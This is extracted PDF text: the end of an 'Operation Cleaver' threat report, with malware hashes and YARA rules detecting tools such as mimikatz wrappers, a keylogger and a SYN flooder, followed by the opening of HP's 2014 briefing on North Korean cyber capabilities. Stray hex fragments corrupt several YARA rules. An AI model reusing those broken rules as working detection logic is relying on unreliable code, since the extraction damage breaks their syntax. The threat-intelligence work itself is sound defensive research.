+8f9a45ba73c67ba9c4958ea49508c350a0e1c3caf476ccab2fb8cb3049e3ba46 +902f2391b1075e14985bc91316c98cdcf3442ecaeb3ef12422813f946ab8409e +9801f7c552cbcf8c413dade920b96be2eaad9624ba4adaf17f80f815dac58974 +9aec3f14ec69e9942a7d3075bb5479dc5fa61e6c2a03cbee1a9269264efac51c +9ba06cb9dcd05e6866ee0e9ecc0c9a480d5b6c8d177ef1907d7fcc02e2871806 +9ebbd300ddf70bccbecfe3bf47898e5959cfc090cef8716e2e638d840a24007b +a321158d7f5be572ac5536ad57cb4a312bea52430b03da9dda97f4548a080bc3 +aa23c55bed562cbf47c84092d0a35b0da35e3db3982a18a28fb45ca70ac6b399 +aa7ac2a053ceba819fcd1c8b273db64296c2754a8101291870e142519c416b1b +abb0ebd57cf2b0d54cd2b01fd9b11ccd9ed68053174d131922811a9ad22459ea +ac272bd9701c5d9cb7e8d1a4e2a191a894e98aa463fb17628c52da16612627d8 +ad06e03fdd9eff480ca623ea23ec87c794d99ae6dda308c979fa5173b2b8a514 +ad5fbf8e381d92225aa6c022e2bbc175be0e33138b5fa4bbb508b970b33bbc1e +ad71283aadb2455f7a1cd4e8283c789599c33d328da44965f6c282f2e600e1b2 +aebac79b820891510b9e14ef97892875bf4197797ca91aef149acdc1e6bf6a7c +af8deedc78097c387926bb95ebd6ab2a870349794f452f35f84132b0dbe12e09 +b18f80a02d45eaed618993447c82916ad8802e552dddccf733a3698794d8cb9d +b275caf4cbc4f47b3d772886172438b81a2e11ff5a8683be488de4b219b39070 +b42ef5f39aaf6e52ff4e0510b6e5c3fb5c84bf35befcde8bcc18dc86bccbdfb4 +b49706b7d5432a368070ee58aa8776cce1ddc2098e863b1b7b36d7b7d79fe6a9 +b4d4c421bc70e5a3345d4b8c9d1090ff16ff82870bd38216bb8bac7f1088dafb +b99cddd428e78ede109c7bd3683c374ac6010a15c0633939511e39c1ed99f621 +bb2b135c7a9b366ec7090404761a9ee9e7c03c56d68165a6789a29e804104068 +be4cc2d1504002107a77bb943ad2d22c205cdcc6ad4804c0440970e5e922d30d +bf7746d29330b666d82b153989d41406305572b92f6b24a1f1adef6374b58328 +bfa66edd0d9ae2c8179893ee881f479b37dce0ce8220a8a18e1b42a879ddff4a +c11a244cba9da30173ff1dcb755a377c3b2b1f99cd15a887041937b086113ebd +c1c1e5b43b1ac9af79aafa59a6062468142afc2278b6fea0bb4dbbb83af65d06 + #OPCLEAVER + Samples (SHA-256) cont. + c30a2fe22050dcac30616a3d27d5c92ea2815d060b365747984913758a209aaa + c74df42cfc7c7221f7f28c67bd726a1caad8453fc35daddfb094aaeede2e8e1e + c9010e060de6a83c3802ed4e6b7f544e6eb2b5420ee2be5c71646e6a27182bea + c901d84878f50a93ab76f2ea31763bebb0acf0c0f9ad86b3abf98e5cde499332 + c99fa90038cec60d9aa21a49e537ad9ea55672ed78cf5b429cb4c75ebc5ccd69 + c9fc8133e755c14cb02872ba05a2332baefe5e94797479aded46c3db83a7cc14 + ca7138bfe08b480386653072482e58f6c48b05a1e7fb8a82cc042806eae9acc2 + caa769a21bf97987de4cc92874eaa03e7b0538082c502606aa8ca97823e2e2aa + cd75664edea18e3aa303763e6f6c639b3e90ead4b51c2b3e41c808e3d968c848 + cffba2a145d91bdecfa8cb32af6964576889faa04591b503a58507cf89ab7cae + d045ea925cf461da5c58cc2af8a0f96ec7c961ea62ffcf1de0b04abf9b0fa8ac + 20476 f64 + d11b504b18bc8615e98f3c37d98c6fe11216a0f070a056414ca4407fc298fbd6 + 6f + d3c2488d321ca6760986fc1a55a3c1db3f7b215fc2883d7e4fabc2871b5a27ac + 4 + 4 + d4e54c1bc1efba20d75861c01bb2cc053b1ab9fadae29bf6c4c04528110056e6 + 20 + d5d1fa5b5474089e59c05ca88a96257d4449d852b429c620aa773408bd48d067 + d8c7aef47bac024188d929e749e90ac172fd51b8f6e16dec4b6635dc2ffa85ef + c + c2 + dc21a2189f9e2d63872c0b5ee7ec75316799c60eb018ba9b98398b69efe45365 + dc22e4b5ef752d3ec47d7bb3de7534e4a2daa2642de8c9839ad262d33a7aa7dc + 04576696 + e180f933aad709883acde441ee64407d49fa4183ae5130480005a0e81a0de491 + e250bce96e5f0c162dbe4d87a1a7d65deb910f59c0bea1140897c22eb9dca501 + e2e9d60c76225db77668440ff698eacef48b544ffab1ae0c641dcedb5ad570bd + e339c7b77113f1a1c4c2f7e307b785cc4fc9145663fe3a612079240efcc9ac93 + e3b38627d9e94a7e084e12cbd2acf7e66ce90021972061f8b9b61316eddb3bd6 + e401340020688cdd0f5051b7553815eee6bc04a5a962900883f1b3676bf1de53 + e4d43cd20d4ea59f68c26d46c30e1819cac5b9552d27fce826b0855494018267 + b2 + e509843b2c061fa5e6ea7d11554bb22f36e6b79b7cd5cc0639ff63d48ce66336 + 6 + ed85c3f8d2cccbb6a0ec2b4b27b158b4dbc6885245081901dd51eb2266f4b2bf + e + ee33dd17802ca906fcc68815ff2a7d12ac7fab7f1c272a56444e4fd6715a6227 + 6 + eea0dcabaabef075081e23fc91b84e07042117bb0362e59f11b17338108d0c1b + 9 + 6 + f7e1a74e08c5718de9edc57facc26dda97ae5b723420a06ef56f1f6f8aa6fb5a + 8 + fbc531e83359310e2940ffff180a26e28d55396710c748e2ae7e64357273a09d + 546 + fd4a9af7ba67f794a83a720539666e89f288686a432b5c7133033a2ebde266cc + Public/Private Key Fingerprints + 0A:E1:AE:85:6A:BB:D5:87:BF:8E:21:4E:92:E6:1F:8C + 70:70:2F:11:2B:01:03:4A:70:D9:5E:11:CC:E9:7A:16 + 6F:DB:BB:BA:DA:7F:FA:4B:3F:A1:C3:46:5E:4B:8F:31:E8:31:F1:EC + 78:BE:02:06:B3:1E:57:DF:62:4E:30:16:ED:AA:5C:56:F7:E8:11:62 + 81 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +YARA Signatures +rule BackDoorLogger + strings: + $s1 = +BackDoorLogger + $s2 = +zhuAddress + condition: + all of them +rule Jasus + strings: + $s1 = +pcap_dump_open + $s2 = +Resolving IPs to poison... + $s3 = +WARNNING: Gateway IP can not be found + condition: + all of them +rule LoggerModule + strings: + $s1 = +%s-%02d%02d%02d%02d%02d.r + $s2 = +C:\\Users\\%s\\AppData\\Cookies\\ + condition: + all of them +rule NetC + strings: + $s1 = +NetC.exe + wide + $s2 = +Net Service + condition: + all of them +rule ShellCreator2 + strings: + $s1 = +ShellCreator2.Properties + $s2 = +set_IV + condition: + all of them + #OPCLEAVER + YARA Signatures (cont.) + rule SmartCopy2 + strings: + $s1 = +SmartCopy2.Properties + $s2 = +ZhuFrameWork + condition: + all of them + rule SynFlooder + strings: + $s1 = +Unable to resolve [ %s ]. ErrorCode %d + 6f20476 f64 + $s2 = +your target +s IP is : %s + $s3 = +Raw TCP Socket Created successfully. + condition: + 44 + 20 + all of them + c + c2 + rule TinyZBot + 04576696 + strings: + $s1 = +NetScp + wide + $s2 = +TinyZBot.Properties.Resources.resources + $s3 = +Aoao WaterMark + $s4 = +Run_a_exe + $s5 = +netscp.exe + 2 + $s6 = +get_MainModule_WebReference_DefaultWS + b + $s7 = +remove_CheckFileMD5Completed + 6 + $s8 = +http://tempuri.org/ + 6e + $s9 = +Zhoupin_Cleaver + 9 + condition: 6 + 8 + ($s1 and $s2) or ($s3 and $s4 and $s5) or ($s6 and $s7 and $s8) or + $s9) 546 + rule ZhoupinExploitCrew + strings: + $s1 = +zhoupin exploit crew + nocase + $s2 = +zhopin exploit crew + nocase + condition: + 1 of them + 83 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +YARA Signatures (cont.) +rule antivirusdetector +strings: + $s1 = +getShadyProcess + $s2 = +getSystemAntiviruses + $s3 = +AntiVirusDetector +condition: + all of them +rule csext + strings: + $s1 = +COM+ System Extentions + $s2 = +csext.exe + $s3 = +COM_Extentions_bin + condition: + all of them +rule kagent + strings: + $s1 = +kill command is in last machine, going back + $s2 = +message data length in B64: %d Bytes + condition: + all of them +rule mimikatzWrapper + strings: + $s1 = +mimikatzWrapper + $s2 = +get_mimikatz + condition: + all of them +rule pvz_in + strings: + $s1 = +LAST_TIME=00/00/0000:00:00PM$ + $s2 = +if %%ERRORLEVEL%% == 1 GOTO line + condition: + all of them + #OPCLEAVER + YARA Signatures (cont.) + rule pvz_out + strings: + $s1 = +Network Connectivity Module + wide + $s2 = +OSPPSVC + wide + condition: + all of them + rule wndTest + strings: + $s1 = +[Alt] + wide + $s2 = +<< %s >>: + wide + 6f20476 f64 + $s3 = +Content-Disposition: inline; comp=%s; account=%s; product=%d; + condition: 44 + all of them + 20 + c + c2 + rule zhCat + 04576696 + strings: + $s1 = +zhCat -l -h -tp 1234 + $s2 = +ABC ( A Big Company ) + wide + condition: + all of them + rule zhLookUp + 2 + b + strings: + 6 + $s1 = +zhLookUp.Properties + e + condition: + 96 + all of them + } 86 + rule zhmimikatz 546 + strings: + $s1 = +MimikatzRunner + $s2 = +zhmimikatz + condition: + all of them + 85 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + 6f20476f6f64 + 044 + 2 + 2c + 6b204576696c + 6e + 9 + 86 + 546 + #OPCLEAVER +Companion report +HP Security Briefing +Episode 16, August 2014 +Profiling an enigma: The +mystery of North Korea +s cyber +threat landscape +HP Security Research + Table of Contents + Introduction .................................................................................................................................................... 3 + Research roadblocks ...................................................................................................................................... 4 + Ideological and political context .................................................................................................................... 5 + Juche and Songun...................................................................................................................................... 5 + Tension and change on the Korean Peninsula .......................................................................................... 8 + North Korean cyber capabilities and limitations ......................................................................................... 10 + North Korean infrastructure.................................................................................................................... 10 + An analysis of developments in North Korean cyberspace since 2010 .................................................. 14 + North Korean cyber war and intelligence structure ................................................................................ 21 + North Korean cyber and intelligence organizational chart ..................................................................... 26 + North Korea +s cyber doctrine, strategies and goals ............................................................................... 26 + Cyber warfare operations ........................................................................................................................ 27 + Gaming for profit and pwnage ................................................................................................................ 29 + Intelligence and counterintelligence ...................................................................................................... 29 + Psychological operations ........................................................................................................................ 32 + Electronic warfare ................................................................................................................................... 38 + Training cyber warriors ........................................................................................................................... 39 + Important political and military ties ............................................................................................................ 42 + China ........................................................................................................................................................ 42 + Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. The only warranties for HP +products and services are set forth in the express warranty statements accompanying such products and services. Nothing herein should be construed as constituting an +additional warranty. HP shall not be liable for technical or editorial errors or omissions contained herein. + Russia ...................................................................................................................................................... 43 + Iran ........................................................................................................................................................... 43 + Syria ......................................................................................................................................................... 44 + Cuba ......................................................................................................................................................... 44 +Timeline of significant North Korean cyber activity .................................................................................... 45 +Patterns in the noise: cyber incidents attributed to North Korean actors .................................................. 47 + DarkSeoul ................................................................................................................................................ 50 + WhoIs Team ............................................................................................................................................. 52 + IsOne ........................................................................................................................................................ 55 + Kimsukyang ............................................................................................................................................. 57 + New Romantic Cyber Army Team / Hastati ............................................................................................. 57 +Malware summary........................................................................................................................................ 58 +Analysis ........................................................................................................................................................ 60 +Summary ...................................................................................................................................................... 61 +HP Security Research recommendations..................................................................................................... 62 +Appendix A + WHOIS records ........................................................................................................................ 64 +Appendix B + Sites found on North Korean IP space.................................................................................... 72 +Appendix C + Analysis of DarkSeoul Dropper .............................................................................................. 74 + Learn more at .......................................................................................................................................... 75 + Episode 16 +Thank you for subscribing to Episode 16 of the HP Security Briefing. In this +edition we discuss the cyber landscape within the Democratic People +Republic of Korea. +Introduction +The Democratic People +s Republic of Korea (DPRK), known in the West as North Korea, is a unique +country with a military-focused society and an unconventional technology infrastructure. While +North Korea was formerly on the U.S. list of state sponsors of terrorism, it was removed in 2008. 1 +However, due to North Korea +s hostility toward other nations, its pursuit of nuclear weapons, and +human rights violations against its own citizens, the United Nations and many Western entities +have placed sanctions and embargoes against North Korea.2 3 For example, U.S. export laws +forbid the sale of dual-use technologies, or those that can be used or repurposed for both civilian +and military use, to North Korea.4 5 Additionally, the U.S. has a military alliance with the Republic of +Korea (ROK), known in the West as South Korea, North Korea +s primary target of conflict.6 +Due to North Korea +s global interactions, its cyber warfare capabilities are of particular interest to +the U.S. According to a 2009 report by Major Steve Sin, an intelligence analyst at U.S. Forces +Korea, North Korean hackers have successfully penetrated U.S. defense networks more +frequently than any other country that has targeted U.S. defense assets.7 While Major Sin may +have been overly optimistic about North Korea +s abilities, it is clear that they should not be +underestimated. Frank Cilluffo, co-director of the Cyber Center for National and Economic Security +at George Washington University, testified before Congress that North Korea +s cyber capability +"poses an important 'wild card' threat, not only to the United States but also to the region and +broader international stability +"8 In an April 2014 testimony given to the House Armed Services +Committee, General Curtis M. Scaparrotti noted that +North Korea remains a significant threat to +United States + interests, the security of South Korea, and the international community due to its +willingness to use force, its continued development and proliferation of nuclear weapon and long- +range ballistic missile programs, and its abuse of its citizens + human rights, as well as the +legitimate interests of its neighbors and the international community. + Scaparrotti stressed that +While North Korea +s massive conventional forces have been declining due to aging and lack of +resources +North Korea is emphasizing the development of its asymmetric capabilities. North + http://thecable.foreignpolicy.com/posts/2010/05/25/why_the_state_department_wont_put_north_korea_back_on_the_terror_list + http://www.sanctionswiki.org/North_Korea + https://www.fas.org/irp/offdocs/eo/eo-13551.pdf + http://www.foxnews.com/world/2012/04/17/un-computer-shipment-to-north-korean-regime-violates-us-manufacturers-ban/ + http://www.state.gov/strategictrade/overview/ + http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf + http://www.nextgov.com/defense/whats-brewin/2009/07/north-koreas-hackers-in-a-luxury-hotel/51330/ + http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/3 + Korea +s asymmetric arsenal includes +an active cyber warfare capability. +9 While one would expect +the regime +s digital infrastructure to also suffer from aging or lack of resources, these factors do +not take away from their technical abilities to wage cyber warfare. +While the U.S. views North Korea +s cyber warfare program as the regime +s foray into modern +asymmetrical warfare, South Korea views the regime +s cyber capabilities as a terroristic threat, -a +build-up for an impending multifaceted attack. It is important to note that, to date, no such attack +has occurred. According to a report written by Captain Duk-Ki Kim, Republic of Korea Navy officer +and Ph.D. +the North Korean regime will first conduct a simultaneous and multifarious cyber +offensive on the Republic of Korea +s society and basic infrastructure, government agencies, and +major military command centers while at the same time suppressing the ROK government and its +domestic allies and supporters with nuclear weapons. +10 South Korea +s view of North Korea as a +terroristic threat may be an attempt to downgrade North Korea politically, since South Korea does +not recognize the regime as a legitimate state.11 South Korean reports also claim that North +Korea +s premier hacking unit, Unit 121, trails Russia and the U.S. as the world +s third largest cyber +unit. 12 While this claim may be exaggerated, in 2012, South Korean reports estimated North +Korea +s hacker forces at around 3000 personnel. In a July 2014 report from South Korea +s Yonhap +News Agency, that figure was upgraded to 5900 hacker elite.13 We must stress that although +these claims have not been corroborated, South Korea has taken the regime +s cyber threats very +seriously and is reportedly training 5000 personnel to defend against North Korean cyber +attacks.14 +Obtaining details on North Korea +s cyber warfare capabilities is not an easy task. This paper will +examine the known cyber capabilities of North Korea +s regime and how the country maintains +secrecy in these matters. Through information obtained via open source intelligence (OSINT), we +will present what is known about North Korea +s cyber warfare and supporting intelligence and +psychological operations capabilities. +Research roadblocks +The following conditions proved to be research roadblocks when gathering intelligence regarding +North Korea +s cyber warfare capabilities: + + Much of the intelligence available on North Korea is dated and may not accurately reflect + the regime +s current capabilities. + + Much of the intelligence available on North Korea comes from U.S. or South Korean + military or agency reports. These reports omit details that are likely classified, such as + specific IP addresses and individual actor information. + + While South Korea is an ally of the United States, its reports on North Korean cyber + activity potentially contain incomplete or biased information. Cultural factors that stem + http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf + https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg + http://www.atimes.com/atimes/Korea/GA04Dg01.html + http://www.koreaherald.com/view.php?ud=20130321000980 + http://www.theregister.co.uk/2014/07/07/north_korea_employs_6000_leet_hackers_source_claims/ + http://www.theregister.co.uk/2014/07/07/north_korea_employs_6000_leet_hackers_source_claims/ + from a history of tension and conflict between the two nations may skew perception and + make objectivity difficult. 15 16 + + North Korea +s Internet infrastructure and the regime +s strict control over its use ensures + that there are no rogue actors and that all officially sanctioned actors exercise careful + OPSEC and PERSEC practices in order to prevent inadvertent information leaks. In other + words, there was no significant identifying information in the form of an OSINT trail left + behind by the actors. This hinders collection of original, actionable threat intelligence and + individual actor attribution. + + North Korea is well-isolated from the outside world, and its strong intelligence and + psychological operations presence effectively creates confusion via counterintelligence + and disinformation about the regime +s capabilities.17 For this reason, any +official + reports + emanating from North Korea must be taken with a grain of salt. This also hinders + attempts to obtain original, actionable threat intelligence. +Ideological and political context +In order for Westerners to understand the North Korean mindset, it is necessary to examine the +key components of North Korean political and ideological thought. It is also necessary to provide a +brief explanation of how North Korea and South Korea view one another, in order to understand +the basis for conflict between the two. +Juche and Songun +North Korea has two primary ideologies that provide context for the regime +s motivations and +activities: juche (ju-cheh) and songun (sun-goon). Juche is the official political ideology of North +Korea. It was instituted in 1972 and is based on the ideologies of Kim Il-Sung, the founder of the +DPRK. Juche emphasizes self-reliance, mastering revolution and reconstruction in one +s own +country, being independent of others, displaying one +s strengths, defending oneself, and taking +responsibility for solving one +s own problems. North Korea +s air-gapped intranet, described below, +exemplifies this philosophy in the country +s cyber infrastructure. The juche philosophy explains +North Korea +s disdain for outside cultural and political influence. Juche challenges North Koreans +to contribute to the regime +s chaju (ja-ju), a concept of national sovereignty and independence.18 +The regime +s greatest fear is internal dissent and resulting destabilization.19 20 In a June 2014 +Reddit AMA session, Dr. Andrei Lankov, an expert on North Korean culture and society, noted +there are also serious signs of public alienation and discontent. And I cannot rule out a public +outbreak of such discontent in the near future. Of course, if it happens, it will have a serious +impact on the government. +21 Despite North Korea +s strong conviction in juche, the regime +collaborates with and receives support from other nations. However, due to this deep-seated + http://www.businessinsider.com/did-kim-jong-un-execute-his-ex-girlfriend-2013-8 + http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10554198/North-Koreas-invisible-phone-killer-dogs-and-other-such-stories- +why-the-world-is-transfixed.html + http://edition.cnn.com/2014/04/01/world/north-korea-provocation/index.html?iid=article_sidebar + http://www.stanford.edu/group/sjeaa/journal3/korea1.pdf + http://belfercenter.ksg.harvard.edu/publication/20269/keeping_kim.html + http://www.buzzfeed.com/miriamberger/the-world-as-viewed-by-north-koreas-propaganda-machine + http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/ + ideology, it is doubtful that North Korea fully trusts these apparent allies.22 Later in this document, +we will show that North Korea relies heavily on China for Internet access. North Korea also +collaborates with China and Russia to train its cyber warriors and has longstanding political and +military relationships with several nations. +Songun is North Korea +military first + doctrine. Songun emphasizes the priority of the military in +resource allocation and political and economic affairs. 23 This doctrine stems from the belief that +the military is vital for preservation of chaju.24 Understanding songun mindset gives context for +this potential threat actor +s motivations. According to a 2013 Congressional report, the strategy +established under former leader Kim Jong-Il focused on +internal security, coercive diplomacy to +compel acceptance of its diplomatic, economic and security interests, development of strategic +military capabilities to deter external attack, and challenging South Korea and the +U.S.-South Korean alliance."25 Songun is North Korea + +military first + doctrine. +North Korea +s songun permeates the lives of all North Korean citizens. Article 58 of Songun emphasizes the + priority of the military in +the North Korean Constitution states that the nation should base itself on a resource allocation and +nationwide defense system that includes all people.26 North Korea, with a political and economic +population of 25 million, has an active duty force of 1.19 million personnel, the affairs. Understanding this +fourth largest in the world. The country +s reserve and paramilitary units comprise mindset gives context for a + potential threat actor +7.7 million additional personnel.27 In other words, over a third of the country + motivations. +population serves in a military or paramilitary capacity. +Some North Korean youth aged 7-13 are inducted into the Korean Children +s Union. The Korean +Children +s Union is responsible for indoctrinating youths who pledge to build up their strength to +later defend the regime.28 + http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf + http://www.strategicstudiesinstitute.army.mil/pdffiles/pub728.pdf + http://www.iar-gwu.org/sites/default/files/articlepdfs/DeRochie_-_The_Driving_Factor.pdf + http://www.defense.gov/news/newsarticle.aspx?id=119924 + http://asiamatters.blogspot.co.uk/2009/10/north-korean-constitution-april-2009.html + http://edition.cnn.com/video/data/2.0/video/international/2014/04/29/north-korea-military-numbers.cnn.html + http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threatening- +nuclear-war-poisoning-generation.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490 + Figure 1 A group of North Korean children being inducted into the Korean Children +s Union.29 +Figure 2 Members of the Korean Children +s Union with the regime +s leader Kim Jong Un.30 + http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threatening- +nuclear-war-poisoning-generation.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490 + Children aged 14-16 can begin military training as members of the Young Red Guards, a +paramilitary unit. Beginning at age 17, North Koreans are eligible to join the Reserve Military +Training Unit.31 The Reserve Military Training Unit forms the core of North Korea +s reserves and is +typically assigned to the front or regional defense in wartime.32 The youngest age at which a +citizen can be conscripted for active duty is unclear; reported ages range from 18-20. Youths can +volunteer for active duty service at age 16 or 17.33 The Worker-Peasant Militia, or Red Guards, +includes males ages 17-60 and unmarried females ages 17-30 who are not part of active duty +units or the Reserve Military Training Unit.34 +The regime has an impressive number of conventional weapons, considering the nation +s small +land area and population size.35 According to statistics released by CNN in 2014, North Korea +ground arsenal includes 4100 tanks, 2100 armored vehicles, and 8500 pieces of field artillery. +The regime +s sea weaponry includes 70 submarines, 420 patrol combatants, and 260 amphibious +landing craft. Their airpower includes 730 combat aircraft, 300 helicopters, and 290 transport +aircraft. While the limits of the regime +s ballistic missile program are unknown, North Korea is +thought to have fewer than 100 short-range missiles and fewer than 100 medium to long-range +missiles.36 However, in recent years, North Korea has suffered oil,37 fuel,38 electricity,39 and food40 +shortages. Without aid from another entity, the regime does not have sufficient resources to +maintain and sustain the majority of its weapons and associated personnel for rapid deployment +or prolonged combat. +Tension and change on the Korean Peninsula +Tension between North and South Korea has continued well past the armistice meant to end the +Korean War. Neither nation recognizes the other as a legitimate state. South Korea +s constitution +legally defines South Korean territory as the entire Korean peninsula and its adjacent islands, with +North Korea + being a part of South Korea. 41 North Korea also claims to be the sole government +of the Korean Peninsula.42 Each country +s claim of sovereignty and refusal to acknowledge the +other as a legitimate state creates the condition for perpetual conflict. North Korea +s negative +sentiment towards the U.S. stems from two major factors: the U.S. + South Korea military alliance +and North Korea +s perception that the U.S. is imperialistic and prone to exploitative capitalism. 43 + http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threatening- +nuclear-war-poisoning-generation.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490 + http://www.globalsecurity.org/military/world/dprk/army.htm + http://www.globalsecurity.org/military/world/dprk/army.htm + https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=6&ved=0CFkQFjAF&url=http%3A%2F%2Fwww.child- +soldiers.org%2Fuser_uploads%2Fpdf%2Fkoreademocraticpeoplesrepublicof2639438.pdf&ei=fcyIU_uqCMas0QXUk4DoCw&usg=AFQjCNGOnkQt5ZStqxfc +tKrUY-5IWYSH0A&sig2=ivQLF6lHkSO8Yx9O9VlO4g&bvm=bv.67720277,d.d2k&cad=rja + http://www.globalsecurity.org/military/world/dprk/army.htm + http://www.globalfirepower.com/ + http://edition.cnn.com/video/data/2.0/video/international/2014/04/29/north-korea-military-numbers.cnn.html + http://www.presstv.com/detail/2013/04/23/299897/facing-food-and-oil-shortages-north-korea-turns-to-iran/ + http://english.chosun.com/site/data/html_dir/2014/07/02/2014070201995.html + http://www.rfa.org/english/news/korea/electricity-10212013160033.html + http://edition.cnn.com/2013/04/09/business/north-korea-economy-explainer/ + http://www.atimes.com/atimes/Korea/GA04Dg01.html + http://teacher.scholastic.com/scholasticnews/indepth/north_korea/north-south/index.asp?article=north_korea + http://cns.miis.edu/other/pinkston_strategic_insights_sep06.pdf + In recent years, two primary factors have heavily influenced the current state of North Korea +relations with South Korea and her allies: the rise of the regime +s leader Kim Jong Un and the +inauguration of South Korean president Park Guen Hye. Kim Jong Un officially rose to power in +April 2012, following the death of his father Kim Jong Il in December 2011. While his age +remained a mystery for quite some time, it was later revealed that he was born in January 1983, +making him age 31 at present. This makes Kim Jong Un the world +s youngest leader of an +established nation.44 The young leader +s rise to power brought about several changes in North +Korea. First, Kim Jong Un +s personal life is more public and more extravagant than that of his +father. Unlike his father, the young Kim is often accompanied by his wife when making public +appearances.45 Second, the young Kim, who is more high-tech than his predecessor, is reported to +have an affinity for luxury items46 and is an avid gamer and basketball fan.47 Third, Kim Jong Un is +more totalitarian than his father. Following his rise to power, the regime reportedly expanded its +labor camps, and more military resources were allocated to target those attempting to defect. +Kim also executed his own uncle, a high-ranking official who did not share his ideals. These moves +indicate the regime +s priority to deter internal destabilization and dissent, which is perceived to be +a greater threat than outside adversity. According to Phil Robertson, deputy Asia director at +Human Rights Watch, +The government now recognizes that the accounts of escaping North +Koreans reveal Pyongyang +s crimes + so it is doing what it can to stop people from fleeing. +Under Kim Jong Un +s rule, the regime has stepped up its nuclear materials production, and the +propaganda distributed by state media has become more menacing.49 +The regime +s response to perceived threats has also become more volatile. Christian Whiton, a +former deputy envoy to North Korea, noted that following Kim Jong Un +s rise to power, +regime still acts in a very belligerent manner, but it seems less predictable, and more random. +Ellen Kim, assistant director of the Korea Chair at the Center for Strategic and International +Studies, assessed the situation thusly: +Since [Kim Jong Un] took power he has purged almost all +of his elder guardians ... and filled his surroundings with new faces. We are in a situation where we +are learning about him a little bit every day through his unpredictable behavior and actions, which +is why the current situation with North Korea is a lot more dangerous than before. +50 The regime +recent reaction to an upcoming film supports these statements. The plot for the comedy film +Interview + follows two talk show hosts who are asked to assassinate Kim Jong Un. The regime +even sent a complaint about the movie to the UN.51 In response to the film, a North Korean official +stated, +The enemies have gone beyond the tolerance limit in their despicable moves to dare hurt +the dignity of the supreme leadership. + The official referred to the movie as "the most undisguised +terrorism and a war action to deprive the service personnel and people of the DPRK of their +mental mainstay and bring down its social system. + The official also issued a threat: +If the U.S. +administration connives at and patronizes the screening of the film, it will invite a strong and +merciless countermeasure. +52 This reaction demonstrates North Korea +s priority of preserving the + http://www.theatlantic.com/international/archive/2012/12/kim-jong-uns-age-is-no-longer-a-mystery/265983/ + http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10522136/Kim-Jong-un-10-ways-North-Koreas-Dear-Leader-is-different.html + http://www.huffingtonpost.com/2014/02/18/north-korea-luxury-goods_n_4808823.html + http://nypost.com/2011/12/20/kims-007-nut-kid-in-charge/ + http://www.hrw.org/news/2014/01/21/north-korea-kim-jong-un-deepens-abusive-rule + http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10522136/Kim-Jong-un-10-ways-North-Koreas-Dear-Leader-is-different.html + http://edition.cnn.com/2014/04/01/world/north-korea-provocation/index.html?iid=article_sidebar + http://www.northkoreatech.org/2014/07/10/dprk-takes-the-interview-movie-complaint-to-the-un/ + http://edition.cnn.com/2014/06/25/world/asia/north-korea-the-interview-reaction/index.html?iid=article_sidebar + regime +s self-perceived dignity in the global arena and its intolerance of any disrespect directed at +the Kim family. +While tensions between North and South Korea have persisted since the Korean War, these +tensions escalated following the 2013 inauguration of South Korea +s current president, Park Geun +Hye. Her platform, in her words, is as follows: +North Korea must keep its agreements made with +South Korea and the international community to establish a minimum level of trust, and second +there must be assured consequences for actions that breach the peace. To ensure stability, +trustpolitik should be applied consistently from issue to issue based on verifiable actions, and +steps should not be taken for mere political expediency. +53 Shortly after Park +s inauguration, +North Korea denounced UN Security Council Resolution 2094, which is +a resolution strengthening +and expanding the scope of United Nations sanctions against the Democratic People +s Republic of +Korea by targeting the illicit activities of diplomatic personnel, transfers of bulk cash, and the +country +s banking relationships, in response to that country +s third nuclear test on 12 February +[2013]. +54 North Korea also responded strongly to joint U.S.-South Korea military exercises in +March 2013, as is noted later in this paper.55 +North Korean cyber capabilities and limitations +North Korean infrastructure +North Korea +s cyber infrastructure is divided into two major parts: an outward-facing Internet +connection and a regime-controlled intranet. North Korea +s outward-facing Internet connection is +only available to select individuals and is closely monitored for any activity that is deemed anti- +regime. Individuals using the outward-facing Internet connection must be authorized. In 2013, +Jean H. Lee, the Associated Press bureau chief in Pyongyang, stated that foreigners visiting North +Korea are allowed Internet access with no firewalls.56 Common citizens are limited to using the +Kwangmyong (gwang me-young), a nationwide intranet with no access to the world outside North +Korea. 57 According to Lee, Kwangmyong allows citizens +access to the state media, information +sources that are vetted by the government, and picked and pulled from the Internet and posted to +their intranet site. +58 As of May 2013, North Korea had only one +Internet caf +59 A 2003 report +from the Office of the National Counterintelligence Executive stated that North Korea +Internet + was +the only place in North Korea for the public to access the Internet + and that foreigners +were allowed to access the Internet from this caf +.60 Whether citizens are allowed to access the +Internet from this location is unknown. +Star Joint Venture Co. is responsible for providing North Korea +s Internet access. Star Joint Venture +Co. was established by the Post and Telecommunications Corporation in cooperation with Loxley + http://www.ncnk.org/resources/briefing-papers/all-briefing-papers/an-overview-of-south-korea2019s-dprk-policy + http://www.un.org/News/Press/docs/2013/sc10934.doc.htm + 